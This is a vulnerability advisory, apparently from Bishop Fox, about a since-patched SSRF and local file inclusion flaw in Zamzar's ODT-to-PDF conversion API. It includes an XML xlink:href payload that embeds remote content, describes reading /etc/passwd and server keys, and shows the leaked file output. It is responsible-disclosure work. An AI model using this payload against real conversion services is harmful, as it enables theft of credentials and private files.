Zamzar API Advisory

ADVISORY SUMMARY

A server-side request forgery (SSRF) vulnerability was found in the Zamzar API when converting an Open Office ODT file to a PDF. This vulnerability executed malicious XML content embedded in the ODT file and allowed the contents of remote and local objects to be inserted into the PDF during the conversion process.

High Risk Level Impact

This vulnerability allowed for SSRF and local file inclusion (LFI) as the root user. With full read access on Zamzar’s servers, an attacker could steal sensitive information like keys or source code. Since this vulnerability was exploited through a third-party application, it would be difficult to attribute the attack without enlisting help from the third party.

Affected Vendor

Product Description

The Zamzar API is an online file conversion utility. The project’s official website is Zamzar.com.

Vulnerability

One vulnerability was identified within Zamzar API: SERVER-SIDE REQUEST FORGERY (SSRF)

Solution

Zamzar was very responsive and quick to fix this security issue. It was fixed within days of notification, and Zamzar responded back to the Bishop Fox security team to let them know the problem was resolved: “Our team has now addressed the security vulnerability raised by Bishop Fox, and can confirm that all affected systems have now been remediated, so this vulnerability is no longer present within our application.”

This vulnerability is described in the section below.

Vulnerability Description

SERVER-SIDE REQUEST FORGERY (SSRF)

A server-side request forgery (SSRF) vulnerability was found in the Zamzar API when converting an Open Office ODT file to a PDF. This vulnerability executed malicious XML content embedded in the ODT file and allowed the contents of remote and local objects to be inserted into the PDF during the conversion process.

While testing a client’s web application, the Bishop Fox assessment team discovered that the file conversion API provided by Zamzar had a vulnerability that led to server-side request forgery (SSRF) and local file inclusion (LFI) on Zamzar’s server. An attacker could exploit this issue to request arbitrary URIs (including HTTP and local file content) from the Zamzar network through third-party applications.

An ODT file with a custom text section could request an external resource and include it in the document. This was done by using an xlink:href object in the text:section portion of the file. To demonstrate this issue, an ODT file was generated with a custom text section that requested the content of https://ifconfig.me:

text:section text:name="string"> <text:section-source xlink:href="<mark>https://ifconfig.me</mark>" xlink:type="simple" xlink:show="embed" xlink:actuate="onLoad"/> </text:section>

FIGURE 1 – XML Content of ODT file

When the Zamzar API converted the file to a PDF, the response from https://ifconfig.me was included with the public IP address in the PDF file, as shown in the figure below:

This vulnerability was tested further to determine if file URIs were also supported. The xlink:href object in the text section was changed to point at the /etc/passwd file instead of a URL. The result of that request is shown below:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
…omitted for brevity…
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
ntp:x:112:116::/home/ntp:/bin/false
colord:x:113:119:colord colour management daemon,,,:/var/lib/colord:/bin/false

FIGURE 3 – Response from /etc/passwd

After multiple successful privileged file requests, it appeared that the service was running as an administrative or root user. This access allowed the team to download /var/lib/mlocate/mlocate.db, which provided a listing of every file on the filesystem. With a database of all the files, more sensitive files could be retrieved, such as the private GitHub key for the Zamzar API.

With full read access on Zamzar’s servers, an attacker could steal sensitive information like keys or source code. Additionally, since this vulnerability was exploited through a third-party application, it would be difficult to attribute the attack without enlisting help from the third party. This issue no longer affects the Zamzar API. After being contacted about this vulnerability, Zamzar resolved the issue within two days.

Credits

Christopher Flanagan, Security Consultant, Bishop Fox ([email protected])

Timeline

• Initial Discovery: 05/06/2020
• Contact with vendor: 06/05/2020
• Vendor acknowledged vulnerabilities: 06/05/2020
• Vendor patched API: 06/07/2020
• Vulnerabilities publicly disclosed: 08/27/2020